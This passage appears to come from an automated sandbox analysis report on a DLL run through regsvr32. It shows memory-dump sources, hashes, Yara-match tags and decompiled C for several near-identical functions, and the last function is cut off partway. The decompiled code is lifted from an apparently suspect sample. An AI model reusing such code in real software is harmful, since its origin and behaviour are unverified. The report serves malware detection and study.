                                                                                                        0x18003a7af
                                                                                                        0x18003a7b3
                                                                                                        0x18003a7b6
                                                                                                        0x18003a7bb
                                                                                                        0x18003a7bf
                                                                                                        0x18003a7cc
                                                                                                        0x18003a7d1
                                                                                                        0x18003a7d7
                                                                                                        0x18003a7de
                                                                                                        0x18003a7eb
                                                                                                        0x18003a7fa
                                                                                                        0x18003a7fe
                                                                                                        0x18003a800
                                                                                                        0x18003a803
                                                                                                        0x18003a80a
                                                                                                        0x18003a81a
                                                                                                        0x18003a821
                                                                                                        0x18003a829
                                                                                                        0x18003a82b
                                                                                                        0x18003a82f
                                                                                                        0x18003a833
                                                                                                        0x18003a83c
                                                                                                        0x18003a841
                                                                                                        0x18003a846
                                                                                                        0x18003a84a
                                                                                                        0x18003a857
                                                                                                        0x18003a85d
                                                                                                        0x18003a866
                                                                                                        0x18003a868
                                                                                                        0x18003a870
                                                                                                        0x18003a873
                                                                                                        0x18003a892

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: b5de1abd88221c155fb98a3dc80bbca749b723023280d62bcb985acc90be8b95
                                                                                                        • Instruction ID: 220538998b85f4e4cc12071bff034b43fbdad7dc0678e04922647e4bb3cdf2d7
                                                                                                        • Opcode Fuzzy Hash: b5de1abd88221c155fb98a3dc80bbca749b723023280d62bcb985acc90be8b95
                                                                                                        • Instruction Fuzzy Hash: 5251843662865886F7A78B29C84439A37B0E34EBD8F26C111EE4917794CF36CD47C740
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018003875C Relevance: .1, Instructions: 145COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 64%
                                                                                                        			E0000000118003875C(void* __edx, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, void* __r10, void* _a8, void* _a16, void* _a24, void* _a32) {
				long long _v16;
				signed long long _v24;
				signed int _t83;
				void* _t97;
				intOrPtr _t98;
				signed int _t105;
				void* _t113;
				intOrPtr _t117;
				void* _t122;
				intOrPtr* _t125;
				intOrPtr _t126;
				char* _t127;
				intOrPtr* _t128;
				intOrPtr _t143;
				void* _t147;
				void* _t153;

				_t113 = _t147;
				 *((long long*)(_t113 + 8)) = __rbx;
				 *((long long*)(_t113 + 0x10)) = __rbp;
				 *((long long*)(_t113 + 0x18)) = __rsi;
				 *((long long*)(_t113 + 0x20)) = __rdi;
				_push(_t153);
				r8d =  *((intOrPtr*)(__rcx + 0x34));
				bpl = __edx;
				_t122 = __rcx;
				r14d = 8;
				_t97 = r8d - 5;
				if (_t97 > 0) goto 0x80038858;
				if (_t97 == 0) goto 0x800387be;
				_t98 = r8d;
				if (_t98 == 0) goto 0x800388af;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0x8003882f;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0x80038807;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0x800388af;
				if (r8d != 1) goto 0x8003887b;
				_t83 =  *(__rcx + 0x28);
				_t125 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t125 + 8;
				if ((_t83 >> 0x00000004 & 0x00000001) == 0) goto 0x800387f1;
				if ( *_t125 >= 0) goto 0x800387f1;
				 *(__rcx + 0x28) = _t83 | 0x00000040;
				if ( *((intOrPtr*)(__rcx + 0x30)) >= 0) goto 0x800388db;
				 *((intOrPtr*)(__rcx + 0x30)) = 1;
				goto 0x800388f2;
				_t126 =  *((intOrPtr*)(_t125 + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t126 + 8;
				if (( *(_t125 + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x8003882a;
				goto 0x800387da;
				goto 0x800387da;
				_t127 =  *((intOrPtr*)(_t126 + 0x18));
				_t105 = dil &  *(_t126 + 0x28) >> 0x00000004;
				 *((long long*)(__rcx + 0x18)) = _t127 + 8;
				if (_t105 == 0) goto 0x80038853;
				goto 0x800387da;
				goto 0x800387da;
				r8d = r8d - 6;
				if (_t105 == 0) goto 0x800387be;
				r8d = r8d - 1;
				if (_t105 == 0) goto 0x800387be;
				r8d = r8d - 2;
				if (_t105 == 0) goto 0x800387be;
				goto 0x800387aa;
				_t117 =  *((intOrPtr*)(_t127 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t117 + 0x30)) = 1;
				 *((intOrPtr*)(_t117 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(_t127 + 8));
				_v24 = _v24 & 0x00000000;
				E00000001180025880( *((intOrPtr*)(_t127 + 8)), __rcx, _t127, __rdx,  *_t127, __rbp, __r8);
				goto 0x80038944;
				_t128 =  *((intOrPtr*)(_t127 + 0x18));
				 *((long long*)(_t122 + 0x18)) = _t128 + 8;
				if (0 == 0) goto 0x800388d4;
				_t143 =  *_t128;
				goto 0x800387da;
				goto 0x800387da;
				 *(_t122 + 0x28) =  *(_t127 + 0x28) & 0xfffffff7;
				E00000001180031C9C(_t122, _t122 + 0x50,  *((intOrPtr*)(_t122 + 0x30)), _t143,  *((intOrPtr*)(_t122 + 8)));
				if (_t143 != 0) goto 0x800388fb;
				 *(_t122 + 0x28) =  *(_t122 + 0x28) & 0xffffffdf;
				 *((char*)(_t122 + 0x4c)) = 0;
				r8b = bpl;
				if (_t153 != _t153) goto 0x80038914;
				E0000000118003D174(_t122, _t122, _t143);
				goto 0x8003891b;
				E0000000118003BC3C( *_t128, _t122, _t122, _t143);
				if (0 == 0) goto 0x80038942;
				if ( *((intOrPtr*)(_t122 + 0x48)) == 0) goto 0x80038934;
				if ( *((char*)( *((intOrPtr*)(_t122 + 0x40)))) == 0x30) goto 0x80038942;
				 *((long long*)(_t122 + 0x40)) =  *((long long*)(_t122 + 0x40)) - 1;
				 *((char*)( *((intOrPtr*)(_t122 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t122 + 0x48)) =  *((intOrPtr*)(_t122 + 0x48)) + 1;
				return 1;
			}



















                                                                                                        0x18003875c
                                                                                                        0x18003875f
                                                                                                        0x180038763
                                                                                                        0x180038767
                                                                                                        0x18003876b
                                                                                                        0x18003876f
                                                                                                        0x180038775
                                                                                                        0x180038779
                                                                                                        0x18003877c
                                                                                                        0x18003877f
                                                                                                        0x180038785
                                                                                                        0x180038789
                                                                                                        0x18003878f
                                                                                                        0x180038791
                                                                                                        0x180038794
                                                                                                        0x18003879a
                                                                                                        0x18003879e
                                                                                                        0x1800387a4
                                                                                                        0x1800387a8
                                                                                                        0x1800387aa
                                                                                                        0x1800387ae
                                                                                                        0x1800387b8
                                                                                                        0x1800387be
                                                                                                        0x1800387c4
                                                                                                        0x1800387d3
                                                                                                        0x1800387e1
                                                                                                        0x1800387e6
                                                                                                        0x1800387ee
                                                                                                        0x1800387f5
                                                                                                        0x1800387fb
                                                                                                        0x180038802
                                                                                                        0x18003880f
                                                                                                        0x18003881e
                                                                                                        0x180038822
                                                                                                        0x180038828
                                                                                                        0x18003882d
                                                                                                        0x180038837
                                                                                                        0x180038840
                                                                                                        0x180038847
                                                                                                        0x18003884b
                                                                                                        0x180038851
                                                                                                        0x180038856
                                                                                                        0x180038858
                                                                                                        0x18003885c
                                                                                                        0x180038862
                                                                                                        0x180038866
                                                                                                        0x18003886c
                                                                                                        0x180038870
                                                                                                        0x180038876
                                                                                                        0x18003887b
                                                                                                        0x18003887f
                                                                                                        0x180038882
                                                                                                        0x180038887
                                                                                                        0x18003888b
                                                                                                        0x180038898
                                                                                                        0x18003889d
                                                                                                        0x1800388a3
                                                                                                        0x1800388aa
                                                                                                        0x1800388b7
                                                                                                        0x1800388c6
                                                                                                        0x1800388ca
                                                                                                        0x1800388cc
                                                                                                        0x1800388cf
                                                                                                        0x1800388d6
                                                                                                        0x1800388e6
                                                                                                        0x1800388ed
                                                                                                        0x1800388f5
                                                                                                        0x1800388f7
                                                                                                        0x1800388fb
                                                                                                        0x1800388ff
                                                                                                        0x180038908
                                                                                                        0x18003890d
                                                                                                        0x180038912
                                                                                                        0x180038916
                                                                                                        0x180038923
                                                                                                        0x180038929
                                                                                                        0x180038932
                                                                                                        0x180038934
                                                                                                        0x18003893c
                                                                                                        0x18003893f
                                                                                                        0x18003895e

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 9175342ea0142974398590dd014dc88b2ce321d7292108c50671c92e0857279c
                                                                                                        • Instruction ID: 91c9fe80f3dff6d40cb73812cd0d190075b6a67bc9bfc3cdc61f3aa66b74e85a
                                                                                                        • Opcode Fuzzy Hash: 9175342ea0142974398590dd014dc88b2ce321d7292108c50671c92e0857279c
                                                                                                        • Instruction Fuzzy Hash: 6A51A23622475886E7A78B29C0403AA37A1EB4CF98F7AC151EE4917794CF36DE4BD740
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180038960 Relevance: .1, Instructions: 145COMMONLIBRARYCODECrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 64%
                                                                                                        			E00000001180038960(void* __edx, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, void* __r10, void* _a8, void* _a16, void* _a24, void* _a32) {
				long long _v16;
				signed long long _v24;
				signed int _t83;
				void* _t97;
				intOrPtr _t98;
				signed int _t105;
				void* _t113;
				intOrPtr _t117;
				void* _t122;
				intOrPtr* _t125;
				intOrPtr _t126;
				char* _t127;
				intOrPtr* _t128;
				intOrPtr _t143;
				void* _t147;
				void* _t153;

				_t113 = _t147;
				 *((long long*)(_t113 + 8)) = __rbx;
				 *((long long*)(_t113 + 0x10)) = __rbp;
				 *((long long*)(_t113 + 0x18)) = __rsi;
				 *((long long*)(_t113 + 0x20)) = __rdi;
				_push(_t153);
				r8d =  *((intOrPtr*)(__rcx + 0x34));
				bpl = __edx;
				_t122 = __rcx;
				r14d = 8;
				_t97 = r8d - 5;
				if (_t97 > 0) goto 0x80038a5c;
				if (_t97 == 0) goto 0x800389c2;
				_t98 = r8d;
				if (_t98 == 0) goto 0x80038ab3;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0x80038a33;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0x80038a0b;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0x80038ab3;
				if (r8d != 1) goto 0x80038a7f;
				_t83 =  *(__rcx + 0x28);
				_t125 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t125 + 8;
				if ((_t83 >> 0x00000004 & 0x00000001) == 0) goto 0x800389f5;
				if ( *_t125 >= 0) goto 0x800389f5;
				 *(__rcx + 0x28) = _t83 | 0x00000040;
				if ( *((intOrPtr*)(__rcx + 0x30)) >= 0) goto 0x80038adf;
				 *((intOrPtr*)(__rcx + 0x30)) = 1;
				goto 0x80038af6;
				_t126 =  *((intOrPtr*)(_t125 + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t126 + 8;
				if (( *(_t125 + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x80038a2e;
				goto 0x800389de;
				goto 0x800389de;
				_t127 =  *((intOrPtr*)(_t126 + 0x18));
				_t105 = dil &  *(_t126 + 0x28) >> 0x00000004;
				 *((long long*)(__rcx + 0x18)) = _t127 + 8;
				if (_t105 == 0) goto 0x80038a57;
				goto 0x800389de;
				goto 0x800389de;
				r8d = r8d - 6;
				if (_t105 == 0) goto 0x800389c2;
				r8d = r8d - 1;
				if (_t105 == 0) goto 0x800389c2;
				r8d = r8d - 2;
				if (_t105 == 0) goto 0x800389c2;
				goto 0x800389ae;
				_t117 =  *((intOrPtr*)(_t127 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t117 + 0x30)) = 1;
				 *((intOrPtr*)(_t117 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(_t127 + 8));
				_v24 = _v24 & 0x00000000;
				E00000001180025880( *((intOrPtr*)(_t127 + 8)), __rcx, _t127, __rdx,  *_t127, __rbp, __r8);
				goto 0x80038b48;
				_t128 =  *((intOrPtr*)(_t127 + 0x18));
				 *((long long*)(_t122 + 0x18)) = _t128 + 8;
				if (0 == 0) goto 0x80038ad8;
				_t143 =  *_t128;
				goto 0x800389de;
				goto 0x800389de;
				 *(_t122 + 0x28) =  *(_t127 + 0x28) & 0xfffffff7;
				E00000001180031C9C(_t122, _t122 + 0x50,  *((intOrPtr*)(_t122 + 0x30)), _t143,  *((intOrPtr*)(_t122 + 8)));
				if (_t143 != 0) goto 0x80038aff;
				 *(_t122 + 0x28) =  *(_t122 + 0x28) & 0xffffffdf;
				 *((char*)(_t122 + 0x4c)) = 0;
				r8b = bpl;
				if (_t153 != _t153) goto 0x80038b18;
				E0000000118003D224(_t122, _t122, _t143);
				goto 0x80038b1f;
				E0000000118003BCE8( *_t128, _t122, _t122, _t143);
				if (0 == 0) goto 0x80038b46;
				if ( *((intOrPtr*)(_t122 + 0x48)) == 0) goto 0x80038b38;
				if ( *((char*)( *((intOrPtr*)(_t122 + 0x40)))) == 0x30) goto 0x80038b46;
				 *((long long*)(_t122 + 0x40)) =  *((long long*)(_t122 + 0x40)) - 1;
				 *((char*)( *((intOrPtr*)(_t122 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t122 + 0x48)) =  *((intOrPtr*)(_t122 + 0x48)) + 1;
				return 1;
			}



















                                                                                                        0x180038960
                                                                                                        0x180038963
                                                                                                        0x180038967
                                                                                                        0x18003896b
                                                                                                        0x18003896f
                                                                                                        0x180038973
                                                                                                        0x180038979
                                                                                                        0x18003897d
                                                                                                        0x180038980
                                                                                                        0x180038983
                                                                                                        0x180038989
                                                                                                        0x18003898d
                                                                                                        0x180038993
                                                                                                        0x180038995
                                                                                                        0x180038998
                                                                                                        0x18003899e
                                                                                                        0x1800389a2
                                                                                                        0x1800389a8
                                                                                                        0x1800389ac
                                                                                                        0x1800389ae
                                                                                                        0x1800389b2
                                                                                                        0x1800389bc
                                                                                                        0x1800389c2
                                                                                                        0x1800389c8
                                                                                                        0x1800389d7
                                                                                                        0x1800389e5
                                                                                                        0x1800389ea
                                                                                                        0x1800389f2
                                                                                                        0x1800389f9
                                                                                                        0x1800389ff
                                                                                                        0x180038a06
                                                                                                        0x180038a13
                                                                                                        0x180038a22
                                                                                                        0x180038a26
                                                                                                        0x180038a2c
                                                                                                        0x180038a31
                                                                                                        0x180038a3b
                                                                                                        0x180038a44
                                                                                                        0x180038a4b
                                                                                                        0x180038a4f
                                                                                                        0x180038a55
                                                                                                        0x180038a5a
                                                                                                        0x180038a5c
                                                                                                        0x180038a60
                                                                                                        0x180038a66
                                                                                                        0x180038a6a
                                                                                                        0x180038a70
                                                                                                        0x180038a74
                                                                                                        0x180038a7a
                                                                                                        0x180038a7f
                                                                                                        0x180038a83
                                                                                                        0x180038a86
                                                                                                        0x180038a8b
                                                                                                        0x180038a8f
                                                                                                        0x180038a9c
                                                                                                        0x180038aa1
                                                                                                        0x180038aa7
                                                                                                        0x180038aae
                                                                                                        0x180038abb
                                                                                                        0x180038aca
                                                                                                        0x180038ace
                                                                                                        0x180038ad0
                                                                                                        0x180038ad3
                                                                                                        0x180038ada
                                                                                                        0x180038aea
                                                                                                        0x180038af1
                                                                                                        0x180038af9
                                                                                                        0x180038afb
                                                                                                        0x180038aff
                                                                                                        0x180038b03
                                                                                                        0x180038b0c
                                                                                                        0x180038b11
                                                                                                        0x180038b16
                                                                                                        0x180038b1a
                                                                                                        0x180038b27
                                                                                                        0x180038b2d
                                                                                                        0x180038b36
                                                                                                        0x180038b38
                                                                                                        0x180038b40
                                                                                                        0x180038b43
                                                                                                        0x180038b62

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 6698fe2afd1236aba46917c27dfd64467ff93e9479c48f18325541af8389a4c0
                                                                                                        • Instruction ID: f6b0c28a6e6dc99fcff060849c9cf75b5a0474c9fdf2ebdc081346aba1336950
                                                                                                        • Opcode Fuzzy Hash: 6698fe2afd1236aba46917c27dfd64467ff93e9479c48f18325541af8389a4c0
                                                                                                        • Instruction Fuzzy Hash: 8651D436210B5886F7A78B29C0403AE33A0EB4DF98F298142EE4857795CF32CE4BD741
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180036A2C Relevance: .1, Instructions: 145COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 70%
                                                                                                        			E00000001180036A2C(void* __edx, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, void* __r10, void* _a8, void* _a16, void* _a24, void* _a32) {
				long long _v16;
				signed long long _v24;
				signed int _t83;
				void* _t97;
				intOrPtr _t98;
				signed int _t105;
				void* _t113;
				intOrPtr _t117;
				void* _t122;
				intOrPtr* _t125;
				intOrPtr _t126;
				char* _t127;
				intOrPtr* _t128;
				intOrPtr _t143;
				void* _t147;
				void* _t153;

				_t113 = _t147;
				 *((long long*)(_t113 + 8)) = __rbx;
				 *((long long*)(_t113 + 0x10)) = __rbp;
				 *((long long*)(_t113 + 0x18)) = __rsi;
				 *((long long*)(_t113 + 0x20)) = __rdi;
				_push(_t153);
				r8d =  *((intOrPtr*)(__rcx + 0x34));
				bpl = __edx;
				_t122 = __rcx;
				r14d = 8;
				_t97 = r8d - 5;
				if (_t97 > 0) goto 0x80036b28;
				if (_t97 == 0) goto 0x80036a8e;
				_t98 = r8d;
				if (_t98 == 0) goto 0x80036b7f;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0x80036aff;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0x80036ad7;
				r8d = r8d - 1;
				if (_t98 == 0) goto 0x80036b7f;
				if (r8d != 1) goto 0x80036b4b;
				_t83 =  *(__rcx + 0x28);
				_t125 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t125 + 8;
				if ((_t83 >> 0x00000004 & 0x00000001) == 0) goto 0x80036ac1;
				if ( *_t125 >= 0) goto 0x80036ac1;
				 *(__rcx + 0x28) = _t83 | 0x00000040;
				if ( *((intOrPtr*)(__rcx + 0x30)) >= 0) goto 0x80036bab;
				 *((intOrPtr*)(__rcx + 0x30)) = 1;
				goto 0x80036bc2;
				_t126 =  *((intOrPtr*)(_t125 + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t126 + 8;
				if (( *(_t125 + 0x28) >> 0x00000004 & 0x00000001) == 0) goto 0x80036afa;
				goto 0x80036aaa;
				goto 0x80036aaa;
				_t127 =  *((intOrPtr*)(_t126 + 0x18));
				_t105 = dil &  *(_t126 + 0x28) >> 0x00000004;
				 *((long long*)(__rcx + 0x18)) = _t127 + 8;
				if (_t105 == 0) goto 0x80036b23;
				goto 0x80036aaa;
				goto 0x80036aaa;
				r8d = r8d - 6;
				if (_t105 == 0) goto 0x80036a8e;
				r8d = r8d - 1;
				if (_t105 == 0) goto 0x80036a8e;
				r8d = r8d - 2;
				if (_t105 == 0) goto 0x80036a8e;
				goto 0x80036a7a;
				_t117 =  *((intOrPtr*)(_t127 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t117 + 0x30)) = 1;
				 *((intOrPtr*)(_t117 + 0x2c)) = 0x16;
				_v16 =  *((intOrPtr*)(_t127 + 8));
				_v24 = _v24 & 0x00000000;
				E00000001180025880( *((intOrPtr*)(_t127 + 8)), __rcx, _t127, __rdx,  *_t127, __rbp, __r8);
				goto 0x80036c14;
				_t128 =  *((intOrPtr*)(_t127 + 0x18));
				 *((long long*)(_t122 + 0x18)) = _t128 + 8;
				if (0 == 0) goto 0x80036ba4;
				_t143 =  *_t128;
				goto 0x80036aaa;
				goto 0x80036aaa;
				 *(_t122 + 0x28) =  *(_t127 + 0x28) & 0xfffffff7;
				E00000001180031C9C(_t122, _t122 + 0x50,  *((intOrPtr*)(_t122 + 0x30)), _t143,  *((intOrPtr*)(_t122 + 8)));
				if (_t143 != 0) goto 0x80036bcb;
				 *(_t122 + 0x28) =  *(_t122 + 0x28) & 0xffffffdf;
				 *((char*)(_t122 + 0x4c)) = 0;
				r8b = bpl;
				if (_t153 != _t153) goto 0x80036be4;
				E0000000118003CA44( *(_t127 + 0x28) & 0xfffffff7, _t122, _t143);
				goto 0x80036beb;
				E0000000118003B52C( *_t128, _t122);
				if (0 == 0) goto 0x80036c12;
				if ( *((intOrPtr*)(_t122 + 0x48)) == 0) goto 0x80036c04;
				if ( *((char*)( *((intOrPtr*)(_t122 + 0x40)))) == 0x30) goto 0x80036c12;
				 *((long long*)(_t122 + 0x40)) =  *((long long*)(_t122 + 0x40)) - 1;
				 *((char*)( *((intOrPtr*)(_t122 + 0x40)))) = 0x30;
				 *((intOrPtr*)(_t122 + 0x48)) =  *((intOrPtr*)(_t122 + 0x48)) + 1;
				return 1;
			}



















                                                                                                        0x180036a2c
                                                                                                        0x180036a2f
                                                                                                        0x180036a33
                                                                                                        0x180036a37
                                                                                                        0x180036a3b
                                                                                                        0x180036a3f
                                                                                                        0x180036a45
                                                                                                        0x180036a49
                                                                                                        0x180036a4c
                                                                                                        0x180036a4f
                                                                                                        0x180036a55
                                                                                                        0x180036a59
                                                                                                        0x180036a5f
                                                                                                        0x180036a61
                                                                                                        0x180036a64
                                                                                                        0x180036a6a
                                                                                                        0x180036a6e
                                                                                                        0x180036a74
                                                                                                        0x180036a78
                                                                                                        0x180036a7a
                                                                                                        0x180036a7e
                                                                                                        0x180036a88
                                                                                                        0x180036a8e
                                                                                                        0x180036a94
                                                                                                        0x180036aa3
                                                                                                        0x180036ab1
                                                                                                        0x180036ab6
                                                                                                        0x180036abe
                                                                                                        0x180036ac5
                                                                                                        0x180036acb
                                                                                                        0x180036ad2
                                                                                                        0x180036adf
                                                                                                        0x180036aee
                                                                                                        0x180036af2
                                                                                                        0x180036af8
                                                                                                        0x180036afd
                                                                                                        0x180036b07
                                                                                                        0x180036b10
                                                                                                        0x180036b17
                                                                                                        0x180036b1b
                                                                                                        0x180036b21
                                                                                                        0x180036b26
                                                                                                        0x180036b28
                                                                                                        0x180036b2c
                                                                                                        0x180036b32
                                                                                                        0x180036b36
                                                                                                        0x180036b3c
                                                                                                        0x180036b40
                                                                                                        0x180036b46
                                                                                                        0x180036b4b
                                                                                                        0x180036b4f
                                                                                                        0x180036b52
                                                                                                        0x180036b57
                                                                                                        0x180036b5b
                                                                                                        0x180036b68
                                                                                                        0x180036b6d
                                                                                                        0x180036b73
                                                                                                        0x180036b7a
                                                                                                        0x180036b87
                                                                                                        0x180036b96
                                                                                                        0x180036b9a
                                                                                                        0x180036b9c
                                                                                                        0x180036b9f
                                                                                                        0x180036ba6
                                                                                                        0x180036bb6
                                                                                                        0x180036bbd
                                                                                                        0x180036bc5
                                                                                                        0x180036bc7
                                                                                                        0x180036bcb
                                                                                                        0x180036bcf
                                                                                                        0x180036bd8
                                                                                                        0x180036bdd
                                                                                                        0x180036be2
                                                                                                        0x180036be6
                                                                                                        0x180036bf3
                                                                                                        0x180036bf9
                                                                                                        0x180036c02
                                                                                                        0x180036c04
                                                                                                        0x180036c0c
                                                                                                        0x180036c0f
                                                                                                        0x180036c2e

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 20cd76cf4a7408d3711e7dfd9d5bdf6ba80e7d24ebc7e728f7be6a975681d8df
                                                                                                        • Instruction ID: 8013067803927f1a74cb367e650fe4d1a249b186e4eed143f90f28b6ff5978cb
                                                                                                        • Opcode Fuzzy Hash: 20cd76cf4a7408d3711e7dfd9d5bdf6ba80e7d24ebc7e728f7be6a975681d8df
                                                                                                        • Instruction Fuzzy Hash: F851CA36620A5885E7A78B29C05439AB7A0E34CF98F25C111EE49577B5CF36CE57CB40
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02425938 Relevance: .1, Instructions: 141COMMON
                                                                                                        Download Yara Rule
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 7090588d321c70cff3a5cf123045afce7e949e4c5a4b90e384f7610a44a6742b
                                                                                                        • Instruction ID: b5dddff13ae3e85ff3ca76650513d011f6f2446d313851b5173ddf6dc6824c72
                                                                                                        • Opcode Fuzzy Hash: 7090588d321c70cff3a5cf123045afce7e949e4c5a4b90e384f7610a44a6742b
                                                                                                        • Instruction Fuzzy Hash: 9261FA7020428C9FDBB9DF29C8996DE3BA1FB49318F90861DD94A8E290DF749748DB41
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0241DC00 Relevance: .1, Instructions: 136COMMON
                                                                                                        Download Yara Rule
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 15b3a20788c7d2c81923894af4c985b43be2c2971742d18166b2a3fa3c37041a
                                                                                                        • Instruction ID: 6462dee611cfec6cf401be1c9b6d0d72212418adf62570d3f3e966dc906ac144
                                                                                                        • Opcode Fuzzy Hash: 15b3a20788c7d2c81923894af4c985b43be2c2971742d18166b2a3fa3c37041a
                                                                                                        • Instruction Fuzzy Hash: E761E47090030E8BDF48DF64C48A4EE7FB1FB58398F25521DE816A6250D7B89699CFC4
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800039EC Relevance: .1, Instructions: 129COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 76%
                                                                                                        			E000000011800039EC(void* __eax, signed int __edx, void* __ebp, long long __rbx, void* __rcx, signed int _a8, signed int _a16, void* _a24, long long _a32) {
				signed char _t34;
				signed int _t36;
				void* _t66;
				signed int _t72;
				void* _t83;
				signed char* _t90;

				_a32 = __rbx;
				_t66 = r8d;
				asm("xorps xmm1, xmm1");
